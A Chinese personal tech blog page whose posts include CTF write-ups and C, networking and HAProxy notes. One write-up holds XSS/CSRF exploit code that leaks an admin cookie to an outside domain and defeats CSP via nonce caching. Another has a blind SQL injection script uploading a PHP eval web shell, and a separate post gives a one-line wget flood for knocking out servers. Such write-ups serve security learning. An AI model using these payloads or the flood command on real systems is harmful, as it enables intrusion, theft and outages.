Updates from jinzihao Toggle Comment Threads | 键盘快捷键

  • jinzihao pm10:01 on 2018年5月28日 链接地址 | 回复
    Tags:   

    [TCTF2018 Finals] h4x0rs.date writeup 

    (本题目前仍然在线,在本文写作时(2018/05/28 19:44),所有功能正常:https://h4x0rs.date/

    1. 前期侦察

    (如果了解题目背景可直接跳过

    首先,这是一道Web题。题目说明中提到CSP (Content Security Policy),这属于前端安全的范畴,那么这应该是一道XSS题。

    登录之后用户可以修改个人简介:

    正常思路:这里有个XSS?

    测试结果:的确有个XSS,写一个<b>test</b>试试…似乎没有任何过滤?!

    进一步测试结果:我的<script>怎么执行不了?

    回头看一眼题目说明:CSP把我的<script>拦下来了…

    题目说明中有一个用户的个人页面地址,点进去看看:

    点一下“LIKE♥”试试?

    回到自己的个人页面,发现多了一个到i_am_not_admin用户的链接,嗯,这功能很正常。

    所以网站的主要功能就是:(1) 写自己的个人简介;(2) 看别人的个人简介;(3) 互相like一下

    前端安全除了XSS,最大的问题就是CSRF了,功能(1)和(3)会不会有CSRF呢?试了一下还真有!

    功能(1)需要POST,但我们已经有支持<iframe>的XSS了,直接嵌入一个<form>进来,我们可以用JavaScript填一下表并把它提交。

    虽然CSP限制了<script>,但CSRF的存在让我们可以在不同源的页面上做这件事,在不同源的页面上写一段<script>,不受限制。

    功能(3)只需要GET,门槛更低,一个<img src="https://h4x0rs.date/like.php?id=xxx"></img>就可以触发了。

    还有个report功能,应该是把网址提交给bot,bot会去访问一下:

    试了一下,和预期一致,不过只接受站内链接,你如果让bot去访问一下你的个人博客,它是拒绝的。

    这是个XSS题…那再看一下网站的cookie吧:有一个名为flag的cookie,写着”you_are_not_admin_no_flag_for_you”。那目标就很明确了,拿到管理员的cookie应该就能拿到flag了。

    其他一些测试过但没有用的地方:

    • 没有明显的SQL注入
    • 对用户名做了很强的XSS过滤,没有利用价值
    • index.php的msg参数可以回显,但做了很强的HTML特殊字符转义,没有利用价值
    • login.php的redirect参数可以触发302跳转,但我们已经有XSS,用<meta>标签就可以触发302跳转

    (为什么划掉最后一点呢?看似没用,后面会用到…)

    到这里侦察完毕:有一个XSS,除了<script>标签都支持;有一个CSRF,网站主要功能都存在CSRF;目标:拿到管理员的cookie。

    2. 解题思路

    2.1 获取管理员ID

    管理员账户看不见摸不着,如果试图直接拿cookie,在<script>标签被CSP严密防守的情况下相当困难。我们先想办法拿到管理员的id,看看他的个人简介,可能有下一步的思路。

    我们在自己的个人主页插入一个<iframe>,准备通过report功能,让管理员访问我们的个人主页,执行<iframe>中的XSS代码:
    <iframe src="https://lab.jinzihao.me/h4x0rs/getid.html"></iframe>
    我们把这样一段代码写到https://lab.jinzihao.me/h4x0rs/getid.html页面上:

    (当然,可以放在自己能控制的任何一个网址。由于目标网站h4x0rs.date已经强制启用https,为了避免麻烦,我们的XSS页面最好也使用https,避免被浏览器的安全策略拦截。)

    <html>
      <body>
        <form action="https://h4x0rs.date/profile.php" method="POST">
          <input type="hidden" name="intro" value="</textarea><meta name=&quot;referrer&quot; content=&quot;always&quot;><img src=&quot;https://lab.jinzihao.me/h4x0rs/receiver.php&quot;><meta http-equiv=&quot;refresh&quot; content=&quot;0; url='/login.php?redirect=profile.php'&quot;>" />
          <input type="submit" value="Submit request" />
        </form>
        <script>
          document.forms[0].submit();
        </script>
      </body>
    </html>

    解释一下这段代码:

    一个<form>,下面一个<script>,里面对<form>submit(),标准的POST型CSRF利用。

    前期侦察时,容易注意到个人简介在提交之后,会在profile.php的<textarea>中回显,所以先用一个</textarea>,跳出<textarea>

    接下来一个<meta name="referrer" content="always">,使得嵌入的<img>等元素,在向src发出请求时,无论是否同源,都会带上referer

    接下来一个<img>标签,src指向我们控制的一个外部网页

    最后一个<meta>302跳转,跳转到/login.php?redirect=profile.php,而这个网址会再次触发302跳转,跳转到哪里?不是简单的/profile.php,而是/profile.php?id=xxx。也就是说,这是一个在不知道一个用户的id的情况下,跳转到他的个人页面的传送门。

    到这里,我们使用report功能,让管理员在一个<iframe>中加载我们的XSS页面,用CSRF修改他的个人简介,POST之后会跳转到个人简介,用</textarea>跳到文本框外,一个<meta name="referrer"强制其加载资源时携带referer,用一个<img>加载外部资源,最后再用一个<meta>跳转,让他携带上包含id的referer

    我们提交report,管理员不断刷新自己的个人页面,通过referer字段,向我们的服务器送出一波id:

    题目已经给出说明,管理员只会在我们提供给他的网址上停留15秒,之后就会重新登录,重新获得一个id。我们动作要快,在这15秒内通过https://h4x0rs.date/like.php?id=xxx的接口,like一下管理员,我们就获得了通向管理员个人页面的永久性传送门。

    2.2 获取管理员cookie

    拿到管理员id之后,拿cookie是否会变得容易呢?

    CSP凭借因用户和页面而异,且每次刷新均会改变的nonce值,阻断了我们XSS代码中<script>的执行;但我们拿到管理员ID后,就可以有效地令CSP失效。

    怎么做到的?下面是一段代码(调用方式和2.1 完全相同,在自己的个人页面使用<iframe>包含该页面,通过report功能让管理员去访问):

    <?php
    $opts = array (
        'http' => array (
            'method' => 'GET',
            'header'=>
                "Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n" .
                "Cookie:PHPSESSID=edi0ef5vcfk5ridfh3knu29s82; \r\n".
                "Pragma:no-cache\r\n",
        )
    );
    $context = stream_context_create($opts);
    $result_data=file_get_contents("https://h4x0rs.date/profile.php",false,$context);
    preg_match('/<li><a href="https:\/\/h4x0rs\.date\/profile\.php\?id=([0-9a-f]{64})">admin<\/a>/',$result_data,$ret);
    $admin_id = $ret[1];
    ?>
    <head>
        <script>
            setTimeout(function(){
                var meta = document.getElementsByTagName('meta')[0];
                var nonce = meta.content.substr(18,108);
                document.getElementById("intro").value = document.getElementById("intro").value.replace("_NONCE_", '"'+nonce+'"').replace("_META_",'<meta http-equiv="Cache-Control" content="public">');
                document.forms[0].submit();
            },3000);
        </script>
    </head>
    <script src="https://h4x0rs.date/assets/csp.js?id=<?=$admin_id?>&page=profile.php"></script>
    <form action="https://h4x0rs.date/profile.php" method="post">
        <input id="intro" type="text" name="intro" value="</textarea>_META_<script nonce=_NONCE_>location.href='https://jinzihao.me/?'+document.cookie;</script>">
    </form>

    这是一段PHP和HTML混合代码。首先,前面的PHP代码使用我们自己的PHPSESSID,访问profile.php,用正则表达式提取出admin账户的id(在2.1中,我们已经like了admin账户,所以它会显示在profile.php的”You liked”这一部分)。

    接下来的HTML代码中,我们放了一个延时3秒的函数,先跳过它,看到后面是一个<script>,我们把前面刚刚获取到的管理员id传进去,它就可以在页面上放置一个<meta>标签,里面有管理员在profile.php这个页面的nonce值。

    接下来,延时3秒之后,我们读出这个<meta>标签的内容,提取出nonce值,接下来一个插入nonce值的操作,然后用<meta http-equiv="Cache-Control" content="public">,告诉管理员的浏览器,包括csp.js在内的资源是可以缓存的。这样我们就把管理员在profile.php上的nonce值锁住了,下一次管理员访问profile.php时,由于生成nonce值的csp.js被缓存,nonce值根本不会刷新。

    最后,还是常规套路,一个<form>来利用POST型CSRF,在</textarea>跳出文本框之后,我们光明正大地插入一个<script>——这次我们有正确的nonce值。把document.cookie传出,flag就在管理员的cookie中:

     
    • 陈文 上午11:11 on 2018年6月11日 链接地址 | 回复

      嗯,这次主要把tiny core linux 的下载地址和说明稍微做了下调整,原来的版本太旧了

  • jinzihao pm10:38 on 2018年5月17日 链接地址 | 回复
    Tags: , 算法   

    用3盏灯实现群聊 —— 一道趣味题和一个协议设计 

    这是题目:

    10个人不能见面,只靠3盏灯来交换信息,如何协调配合呢?
    不可思议的是,只要3盏灯,10个人就可以拉个群一起聊天了 —— 没错,互相发送文字,没有长度限制,只要把文字编码到这3盏灯的状态,再配合上一个正确的通信协议。

    来看一段聊天记录吧:

    这是Python实现:

    
    #!/usr/bin/env python
    import time
    import random
    import binascii
    
    STEPS = 0
    
    wire = [random.randint(0, 1), random.randint(0, 1), random.randint(0, 1)]
    SLAVE_COUNT = 9
    
    data = [None] * (SLAVE_COUNT + 1)
    data[0] = dict()
    data[0]["initialized"] = 0
    data[0]["mode"] = 0
    data[0]["last_read"] = 0
    data[0]["direction"] = 0
    data[0]["direction_initialized"] = 0
    data[0]["send_buffer"] = ""
    data[0]["recv_buffer"] = ""
    
    for i in range(1, SLAVE_COUNT + 1):
        data[i] = dict()
        data[i]["initialized"] = 0
        data[i]["mode"] = 0
        data[i]["last_clock"] = 0
        data[i]["last_read"] = 0
        data[i]["direction"] = 0
        data[i]["direction_initialized"] = 0
        data[i]["send_buffer"] = ""
        data[i]["recv_buffer"] = ""
    
    def str2bin(str):
        temp_str = bin(int(binascii.hexlify(str), 16))[2:]
        return temp_str
    
    def bin2str(bin):
        return binascii.unhexlify('%x' % int(bin, 2))
    
    def writeWire(id, value):
        wire[id] = value;
    
    def readWire(id):
        return wire[id];
    
    def flipWire(id):
        wire[id] = not wire[id]
    
    def node(id):
        if id == 0:
            master()
        elif id > 0:
            slave(id)
    
    def master():
        global STEPS
        if data[0]["mode"] == 0:
            if data[0]["initialized"] == 0:
                writeWire(2, 0)
                data[0]["initialized"] = 1
            else:
                if readWire(2) == 1:
                    data[0]["mode"] = 1
                    writeWire(0, 0)
                    data[0]["send_buffer"] = str2bin("Hello, I'm master") + '00000000'
                    # print("SEND: " + data[0]["send_buffer"])
                    data[0]["recv_buffer"] = ""
                    print("#" + str(STEPS) + " master connected")
            flipWire(0)
        elif data[0]["mode"] == 1:
            if data[0]["direction_initialized"] == 0:
                if readWire(1) == 0:
                    writeWire(1, 1)
                    data[0]["direction"] = 1
                else:
                    data[0]["direction"] = 0
                data[0]["direction_initialized"] = 1
                writeWire(0, 1)
                print("#" + str(STEPS) + " master direction " + str(data[0]["direction"]))
            else:
                if data[0]["direction"] == 1:
                    if readWire(0) == 0:
                        if len(data[0]["send_buffer"]):
                            send_data = int(data[0]["send_buffer"][0])
                            data[0]["send_buffer"] = data[0]["send_buffer"][1:]
                            writeWire(1, send_data)
                            writeWire(0, 1)
                            #print("#" + str(STEPS) + " master send " + str(send_data))
                        else:
                            data[0]["mode"] = 0
                            data[0]["direction_initialized"] = 0
                            writeWire(2, 0)
                            print("#" + str(STEPS) + " master disconnected")
                else:
                    if readWire(0) == 1:
                        recv_data = readWire(1)
                        #print("#" + str(STEPS) + " master received " + str(recv_data))
                        data[0]["recv_buffer"] = data[0]["recv_buffer"] + str(recv_data)
                        writeWire(0, 0)
                        if len(data[0]["recv_buffer"]) % 8 == 0:
                            if data[0]["recv_buffer"][-1] == "0" and data[0]["recv_buffer"][-2] == "0" and\
                                data[0]["recv_buffer"][-3] == "0" and data[0]["recv_buffer"][-4] == "0" and\
                                data[0]["recv_buffer"][-5] == "0" and data[0]["recv_buffer"][-6] == "0" and\
                                data[0]["recv_buffer"][-7] == "0" and data[0]["recv_buffer"][-8] == "0":
                                # print("RECV: " + data[0]["recv_buffer"])
                                print("#" + str(STEPS) + " master received " + bin2str(data[0]["recv_buffer"][1:-8]))
                                print("#" + str(STEPS) + " master disconnected")
                                data[0]["mode"] = 0
                                data[0]["direction_initialized"] = 0
                                writeWire(2, 0)
    
    def slave(id):
        global STEPS
        if data[id]["mode"] == 0:
            if data[id]["initialized"] == 0:
                data[id]["initialized"] = 1
                data[id]["last_clock"] = readWire(0)
            else:
                if readWire(0) != data[id]["last_clock"]:
                    if readWire(2) == 0:
                        writeWire(2, 1)
                        data[id]["mode"] = 1
                        writeWire(1, 0)
                        writeWire(0, 0)
                        data[id]["send_buffer"] = str2bin("Hello, I'm slave " + str(id)) + '00000000'
                        # print("SEND: " + data[id]["send_buffer"])
                        data[id]["recv_buffer"] = ""
                        print("#" + str(STEPS) + " slave " + str(id) + " connected")
                    data[id]["last_clock"] = readWire(0)
        elif data[id]["mode"] == 1:
            if data[id]["direction_initialized"] == 0:
                if readWire(1) == 0:
                    writeWire(1, 1)
                    data[id]["direction"] = 1
                else:
                    data[id]["direction"] = 0
                data[id]["direction_initialized"] = 1
                writeWire(0, 1)
                print("#" + str(STEPS) + " slave " + str(id) + " direction " + str(data[id]["direction"]))
            else:
                if data[id]["direction"] == 1:
                    if readWire(0) == 0:
                        if len(data[id]["send_buffer"]):
                            send_data = int(data[id]["send_buffer"][0])
                            data[id]["send_buffer"] = data[id]["send_buffer"][1:]
                            writeWire(1, send_data)
                            writeWire(0, 1)
                            #print("#" + str(STEPS) + " slave " + str(id) + " sent " + str(send_data))
                        else:
                            data[id]["mode"] = 0
                            data[id]["direction_initialized"] = 0
                            data[id]["initialized"] = 0
                            print("#" + str(STEPS) + " slave " + str(id) + " disconnected")
                else:
                    if readWire(0) == 1:
                        recv_data = readWire(1)
                        data[id]["recv_buffer"] = data[id]["recv_buffer"] + str(recv_data)
                        #print("#" + str(STEPS) + " slave " + str(id) + " received " + str(recv_data))
                        writeWire(0, 0)
                        if len(data[id]["recv_buffer"]) % 8 == 0:
                            if data[id]["recv_buffer"][-1] == "0" and data[id]["recv_buffer"][-2] == "0" and\
                                data[id]["recv_buffer"][-3] == "0" and data[id]["recv_buffer"][-4] == "0" and\
                                data[id]["recv_buffer"][-5] == "0" and data[id]["recv_buffer"][-6] == "0" and\
                                data[id]["recv_buffer"][-7] == "0" and data[id]["recv_buffer"][-8] == "0":
                                # print("RECV: " + data[id]["recv_buffer"])
                                print("#" + str(STEPS) + " slave " + str(id) + " received " + bin2str(data[id]["recv_buffer"][1:-8]))
                                print("#" + str(STEPS) + " slave " + str(id) + " disconnected")
                                data[id]["mode"] = 0
                                data[id]["direction_initialized"] = 0
                                data[id]["initialized"] = 0
    
    while True:
        node(random.randint(0, SLAVE_COUNT))
        STEPS += 1
        if STEPS == 100000:
            break
        #time.sleep(0.1)
    
    

     

    对这个通信协议做一点简单说明:

    这是一个区分服务器/客户端的协议,服务器为代码中的master,客户端为代码中的slave。

    服务器的两个状态:监听状态和通信状态

    客户端的两个状态:尝试连接状态和通信状态

    三盏灯的定义:

    在监听/尝试连接状态下,为(1) 时钟信号; (2) <未使用>;(3) 连接状态指示信号

    在通信状态下,为(1) 同步(ACK)信号;(2) 数据信号;(3) 连接状态指示信号

     
  • jinzihao pm8:44 on 2018年5月12日 链接地址 | 回复
    Tags:   

    强网杯精英赛 – easy_upload 

    这是一道坑比较多的题…结果:只差最后一个坑没能跳出来…

    记录一下做这道题的过程中踩过的坑、开过的脑洞和学到的东西:

    • 一些fuzz技巧

    如果正常的GET或POST方式是login.php?username=xxx,我们把它换成login.php?username[]=xxx&username[]=yyy,PHP接收到的$_REQUEST['username']就不再是一个字符串"xxx",而是一个数组array("xxx", "yyy")了。这会导致PHP爆出Error或Warning,还可能触发strcmp在字符串与数组比较时的漏洞

    PHP所有对文件或文件夹操作的函数,都可能因为文件名过长而爆出Error或Warning,从而暴露绝对路径。

    • dual表

    dual表是MySQL中虚拟出来的一张空表(table)。

    用途:在没有表名的情况下执行SQL语句,例如SELECT VERSION() FROM dual;

    在CTF中的用途:我们有条件执行SELECT语句,但我们不知道任何一张表的表名,利用dual表仍然可以执行MySQL内置函数。

    • INSERT INTO

    MySQL的INSERT语句常见的写法是:

    INSERT INTO t1 (a, b, c) VALUES (x, y, z);

    但MySQL也支持一次插入多条记录:

    INSERT INTO t1 (a, b, c) VALUES (x1, y1, z1), (x2, y2, z2), (x3, y3, z3);

    以及在VALUES ()内部进行前向引用:

    INSERT INTO t1 (a, b, c) VALUES (x, length(x), to_base64(x));

    以及在VALUES ()内部使用()包裹的SELECT语句:

    INSERT INTO t1 (a, b, c) VALUES (x, y, (SELECT d FROM t2 LIMIT 1));

    但不支持在VALUES ()内部SELECT同一张表内的数据:

    INSERT INTO t1 (a, b, c) VALUES (x, y, (SELECT a FROM t1 LIMIT 1));

    但仍然可以将同一张表内的数据先SELECT,用()包裹,再SELECT AS FROM dual,从而读出同一张表内的数据:

    INSERT INTO t1 (a, b, c) VALUES (x, y, SELECT (SELECT a FROM t1 LIMIT 1) as tmp FROM dual)

    • 危险字符转义 + 字段长度限制 = 攻击点?
    <?php
    $name = 'aaaaaaaaaaaaaaaaaaa\';
    $name = str_replace('\\', '\\\\', $name); // $name -> 'aaaaaaaaaaaaaaaaaaa\\'
    $name = str_replace('"', '\\"', $name); // $name unchanged
    $name = str_replace('\'', '\\\'', $name); // $name unchanged
    $name = substr($name, 0, 20); // $name -> 'aaaaaaaaaaaaaaaaaaa\'
    $content = '';
    mysql_query('INSERT INTO data (name, content) VALUES ("' . $name . '", ' . $content . '")', $conn);
    ?>
    

    这是一个常见的危险字符过滤逻辑,将', ", \做转义,防止它们造成SQL语句逃逸。之后的substr限制长度也是合理的,对应于数据库中一个VARCHAR(20)列。这段代码执行却会导致MySQL报错:$namesubstr截断后重新变成以单个\结束,将后面的”转义掉,从而造成双引号不匹配。

    这样操作$name只会导致MySQL报错,但如果我们还能控制INSERT的下一个字段(此处的$content),$content会出现在""之外,我们就可以在$content中插入MySQL代码了。

    • 手写延时盲注

    在SQLMap无法使用的情况下,我们需要手写脚本来进行延时盲注了,感谢kericwy提供的脚本:

    小技巧1:利用Python的requests模块,为http请求设置超时值(timeout),可以判断我们的盲注代码里面的SLEEP是否执行成功。如果我们的SQL代码执行成功会SLEEP(5),执行失败会SLEEP(0),我们设置timeout=3,就可以用是否抛出Exception来判断是否执行成功了。

    小技巧2:用()包裹SELECT语句,就可以将SELECT语句的查询结果传递给其他函数(例如mid())进行处理,以及作为INSERT INTO VALUES(的参数。这样我们可以在INSERT语句内部执行SELECT

    小技巧3:在不知道表名的情况下,从INFORMATION_SCHEMA数据库中的TABLES表中可以找出所有表的名称。

    小技巧4:MySQL的group_concat()可以将多行的查询结果合并到一行,以,分隔。(但是它不能将多列合并为一列)

    import requests
    
    def inject(n,guess):
        session = requests.Session()
    
        paramsMultipart = [('upfile', ('kericwy.php ', "\x23!/usr/bin/php\r\n@eval(\x24_REQUEST['notashell']);\n", 'application/octet-stream'))]
        payload=",1,(if(((ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))from({n})))<{guess})),sleep(5),null)))\x23".format(n=n,guess=guess)
        headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0","Referer":"http://10.10.5.113/index.php","Connection":"close","X-Forwarded-For":payload,"Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2"}
        cookies = {"PHPSESSID":"b06253970bfd8d30f54bb7f365cb6994"}
        try:
            response = session.post("http://10.10.5.113/upload.php", files=paramsMultipart, headers=headers, cookies=cookies,timeout=3)
        except Exception:
            print(guess)
            return guess
        return None
    
    answer=''
    for n in range(1,50):
        for guess in range(32,127):
            result=inject(n,guess)
            if result!=None:
                answer+=chr(result-1)
                print(answer)
                break
    
     
  • jinzihao am11:21 on 2018年5月9日 链接地址 | 回复  

    HAProxy用于SSL透传 

    一个实际需求:需要将一台服务器用作SSL前端,将不同域名的请求转发到不同的后端服务器,要求前端服务器无法得知请求的内容(即我们不信任前端服务器,需要防止它偷看或篡改传输内容)

    一个符合直觉的想法:用Apache做反向代理

    SSLProxyEngine on
    ProxyRequests off
    ProxyPass / https://backend.example.com/
    ProxyPassReverse / https://backend.example.com/

    效果是没有问题的

    但…

    Apache上原本开启了mod_cache模块,查看日志发现:Apache竟然能缓存我们的请求?!

    能缓存,说明前端服务器一定是拆包查看内容了。

    Google了一下发现,Apache的SSL反向代理必须拆包,不会进行透传(passthrough)处理,但HAProxy可以满足这个要求。

    下面给出用HAProxy实现这个功能的配置文件,以及其中的几个坑:

    # global部分为HAProxy的全局配置
    # 此处的配置取自HAProxy 1.6.3默认配置文件
    global
       # 日志选项,此处的配置会将日志输出到syslog
       # 根据/etc/rsyslog.d/目录下的配置文件,日志会被写入/var/log/haproxy.log
       # 注意:安装HAproxy之后,需要重启rsyslog服务才能开始输出日志
       # service rsyslog restart
       log /dev/log   local0
       log /dev/log   local1 notice
       chroot /var/lib/haproxy
       stats socket /run/haproxy/admin.sock mode 660 level admin
       stats timeout 30s
       user haproxy
       group haproxy
       daemon
    
       # Default SSL material locations
       ca-base /etc/ssl/certs
       crt-base /etc/ssl/private
    
       # Default ciphers to use on SSL-enabled listening sockets.
       # For more information, see ciphers(1SSL). This list is from:
       #  https://hynek.me/articles/hardening-your-web-servers-ssl-ciphers/
       ssl-default-bind-ciphers ECDH+AESGCM:DH+AESGCM:ECDH+AES256:DH+AES256:ECDH+AES128:DH+AES:ECDH+3DES:DH+3DES:RSA+AESGCM:RSA+AES:RSA+3DES:!aNULL:!MD5:!DSS
       ssl-default-bind-options no-sslv3
    
    # frontend定义一个前端,也就是绑定本机的一个IP和端口
    # (https_frontend只是给这个frontend起个名字,并不重要)
    frontend https_frontend
        # 绑定本机443端口,用于提供SSL服务
        bind *:443
        # mode设为tcp时,HAProxy在第四层上进行转发,可以转发任意基于TCP的协议,包括SSL
        # 此时HAProxy不会解密SSL数据包,无法得知其内容
        # 该模式下HAProxy可以在没有SSL证书的情况下为任意域名提供服务
        # 因为HAProxy会将SSL数据包原样转发到配置有证书的SSL服务器上
        # (如果mode设为http,则HAProxy在第七层上做HTTP代理)
        mode tcp
    
        # 日志选项
        log global
        # 对TCP做详细日志
        option tcplog
        # 不记录空TCP连接,减少日志中的垃圾数据
        option dontlognull
    
        # 连接超时值,如果不设置,默认选项为无限timeout
        timeout connect 5000
        timeout client 50000
        timeout server 50000
    
        # TCP检查等待时间,默认值是0s,即不等待
        # 由于TCP是分片传输的,无法保证上层协议的整个数据包一次到达
        # 因此如果不设置一个几秒钟的超时值,HAproxy无法了解到该TCP流的任何信息
        # (例:你不可能在一个TCP流刚刚完成三次握手的时候读出它承载的HTTP协议的cookie)
        tcp-request inspect-delay 5s
        # 如果收到的是SSL协议的clienthello数据包,我们就接受这个连接
        tcp-request content accept if { req_ssl_hello_type 1 }
    
        # 一条ACL在HAProxy中就是一条匹配规则
        # 类似Apache mod_rewrite的一条RewriteCond
        # 只不过HAProxy不止可以对HTTP的URL进行匹配
        # 还可以匹配四层(TCP)、五层(SSL)、七层(HTTP)的特征
        # 下面定义了3条ACL
        # req_ssl_sni为SSL协议的域名,这部分信息无需解密SSL协议即可读出
        # (参见官方文档:https://cbonte.github.io/haproxy-dconv/1.8/configuration.html#7)
        acl jinzihao_me req_ssl_sni -m str jinzihao.me
        acl www_jinzihao_me req_ssl_sni -m str www.jinzihao.me
        acl http_jinzihao_me req_ssl_sni -m str http.jinzihao.me
    #   acl [规则名称]         [变量]    [匹配方式]    [匹配值]
        # 一条use_backend则将一条或多条规则映射到一个backend
        # 类似Apache mod_rewrite的一条RewriteRule
        # (参见官方文档:https://cbonte.github.io/haproxy-dconv/1.8/configuration.html#7.2)
        # 下面定义了2条use_backend
        use_backend nisl if http_jinzihao_me
        use_backend bandwagonhost if jinzihao_me or www_jinzihao_me
    #   use_backend [后端名] if [规则1] [与/或/非] [规则2] [与/或/非] [规则3] ...
    
    # backend定义一个后端,也就是路由的一组目标地址和端口
    # backend的名字(这里是bandwagonhost)用在上面写到的use_backend语句中
    backend bandwagonhost
        mode tcp
        # HAProxy可以用作负载均衡的
        # 只要我们配置好负载均衡规则...
        balance roundrobin
        # ...并给出几台可用的服务器
        server bandwagonhost 104.160.38.132:443
        # (参见官方文档:https://cbonte.github.io/haproxy-dconv/1.8/configuration.html#4.2-balance)
    
    # 另一个backend,在这里我们把它指向本机8043端口上的Apache httpd
    backend nisl
        mode tcp
        balance roundrobin
        server nisl 127.0.0.1:8043

     

     
  • jinzihao am3:22 on 2017年8月24日 链接地址 | 回复  

    惊悚!放倒一台VPS只需一行命令…… 

    for i in `seq 1 1 10000`; do wget -q -O /dev/null 'http://www.example.com' & done

    只需要一台普通网络环境下的普通电脑,只需要一行命令,实测效果惊悚:

    (图1. 运行在DigitalOcean上的一台主机,不使用https,Apache 2.4 + MySQL,运行WordPress,首先倒下的是MySQL)

    (图2. 运行在BandwagonHost上的一台主机,使用https,Apache 2.4 + MySQL,运行WordPress,首先倒下的是MySQL)

    (图3. 运行在BandwagonHost上的一台主机,不使用https,Apache 2.4 + 静态页面,Apache倒下)

    (图4. 运行在DigitalOcean上的一台主机,使用https,nginx 1.10,运行WordPress,nginx倒下)

    更新:经twd2同学指正,此处应为PHP倒下(看来nginx还是可以的…)

    (此处为了验证方法的有效性,需要使用他人的主机进行测试,向twd2同学表示抱歉…)

    (图5. 运行在阿里云上的一台主机,使用https,nginx 1.4,运行WordPress,nginx倒下)

    更新:经twd2同学指正,此处应为PHP倒下(看来nginx还是可以的…)

    (此处为了验证方法的有效性,需要使用他人的主机进行测试,向blink同学表示抱歉…)

     
    • 路过 下午5:59 on 2017年12月2日 链接地址 | 回复

      试了一下你的 直接马上就500了 哈哈哈 但是这种对于有CDN和防火墙的 这么快的频率请求是会被banIP的 娱乐一下还可以 哈哈哈

    • hotsun168 上午11:44 on 2018年3月5日 链接地址 | 回复

      站长你好,很久之前关注到20世纪下载站,在里面找到很多别处找不到的好货。目前想做一个该站的镜像,请问是否许可?

      • jinzihao 上午11:56 on 2018年3月5日 链接地址 | 回复

        谢谢您的关注,我很希望有人可以做一个镜像,如果您可以通过一些爬虫来爬取网站内容,是可以的,希望能事后告诉我一下镜像的地址。

        • hotsun168 下午12:16 on 2018年3月5日 链接地址 | 回复

          感谢您的许可,初步计划是通过爬虫获取内容,自己开发软件列表和详情的界面,待完工后会告知地址。

          • briar 上午12:30 on 2018年3月12日 链接地址 | 回复

            最好你把它用百度网盘备份一下,之后我弄个页面版的,资源用百度和ed2k分享。

        • hotsun168 上午10:44 on 2018年3月9日 链接地址 | 回复

          20世纪下载站,id为335的MacOS系统,下载链接失效了,麻烦看看能否修复一下。

          • briar 上午12:27 on 2018年3月12日 链接地址 | 回复

            这个是个台湾网友上传的,那个人我也联系不上。看看站长有没有吧。

        • briar 上午1:02 on 2018年3月12日 链接地址 | 回复

          我之后打算做个简化页面版,介绍都写好。弄好了我发给你网址。

          • briar 下午10:26 on 2018年3月12日 链接地址 | 回复

            简化版页面我会首先让支持中文字符的dos浏览器正常显示,例如lyxn。事实上我从那个cdu来的。

            • hotsun168 下午3:20 on 2018年3月15日 链接地址

              目前镜像网站已上线,部分未完成的页面已暂时隐藏。资源正在逐步上传,预计需要1天左右。地址:http://20th.hotsun168.com/

            • hotsun168 下午3:21 on 2018年3月15日 链接地址

              后期会考虑将所有已抓下来的文件都生成ed2k链接。

        • briar 下午10:30 on 2018年3月19日 链接地址 | 回复

          Jinzihao你有Vista2008联系方式吗?也就是二十世纪下载站以前的一个管理的。

          • jinzihao 上午9:50 on 2018年3月20日 链接地址 | 回复

            没有了…我也只能通过论坛找他

            • briar 下午10:45 on 2018年3月20日 链接地址

              哦,好吧。上一年Wengier Wu给我了一个长文件名版本的DOSBOX之后加到你的下载站上。

        • hotsun168 下午12:40 on 2018年4月4日 链接地址 | 回复

          镜像站做好一段时间了,http://20th.hotsun168.com/,还有我的博客,http://hotsun168.com/,希望能做个友链,不胜感激!

          • jinzihao 下午2:58 on 2018年4月10日 链接地址 | 回复

            好的,已经加上友链了

            • 陈文 下午8:56 on 2018年5月1日 链接地址

              将kolibrios的连接修复了,以前的下载连接已经挂了

            • 陈文 下午9:19 on 2018年5月1日 链接地址

              更新menuetos下载地址为官方地址,免得经常更新服务器中的文件

    • hotsun168 下午3:19 on 2018年3月15日 链接地址 | 回复

      目前镜像网站已上线,部分未完成的页面已暂时隐藏。资源正在逐步上传,预计需要1天左右。地址:http://20th.hotsun168.com/

      • briar 上午10:21 on 2018年3月17日 链接地址 | 回复

        我的qq3238797020那个资源我电脑有。

        • briar 上午10:27 on 2018年3月17日 链接地址 | 回复

          Win98第一版的。

          • hotsun168 上午9:11 on 2018年3月19日 链接地址 | 回复

            是iis里iso文件的mime没配。

            • briar 下午10:28 on 2018年3月19日 链接地址

              之后我需要在网站上增加一个DOSBOX改版,是某个人做的长文件名称版本。

        • hotsun168 下午12:06 on 2018年3月20日 链接地址 | 回复

          我这边会每隔一段时间重新采集数据。新增的数据也会采集过来的。

  • jinzihao pm10:23 on 2017年7月4日 链接地址 | 回复
    Tags:   

    (待填充)
    fifo文件的使用与mkfifo命令
    C语言的getopt函数
    getenv函数
    stringification macro
    -fno-function-cse
    -finstrument-functions

     
  • jinzihao pm11:55 on 2017年6月11日 链接地址 | 回复
    Tags: AI, , 人工智能, 围棋   

    围棋AI 

    (这个坑出分后填上…)

     
  • jinzihao pm3:37 on 2017年3月1日 链接地址 | 回复
    Tags:   

    static struct gatedesc idt[256] = {{0}};
    

    这行代码看起来有点奇怪…
    其实struct也可以用{value1, value2, …}的方式初始化,与数组的初始化类似,例如:

    struct gatedesc idt1 = {7};
    

    表示idt1的第一个元素用7初始化,其余元素用0初始化。
    因此开始这行代码表示新建一个大小为256的gatedesc数组,数组的每一项的每个元素(或说“成员变量”)都是0。

     
  • jinzihao pm2:46 on 2017年3月1日 链接地址 | 回复
    Tags: , x86   

    C语言struct定义中的冒号(“:”) 

    在C语言的struct定义中,可以使用冒号(“:”)来指定struct中的元素所占的bit数,注意是bit不是byte,因此可以出现诸如3bit、11bit的元素,如下面这段代码所示:

    struct gatedesc {
        unsigned gd_off_15_0 : 16;        // low 16 bits of offset in segment
        unsigned gd_ss : 16;            // segment selector
        unsigned gd_args : 5;            // # args, 0 for interrupt/trap gates
        unsigned gd_rsv1 : 3;            // reserved(should be zero I guess)
        unsigned gd_type : 4;            // type(STS_{TG,IG32,TG32})
        unsigned gd_s : 1;                // must be 0 (system)
        unsigned gd_dpl : 2;            // descriptor(meaning new) privilege level
        unsigned gd_p : 1;                // Present
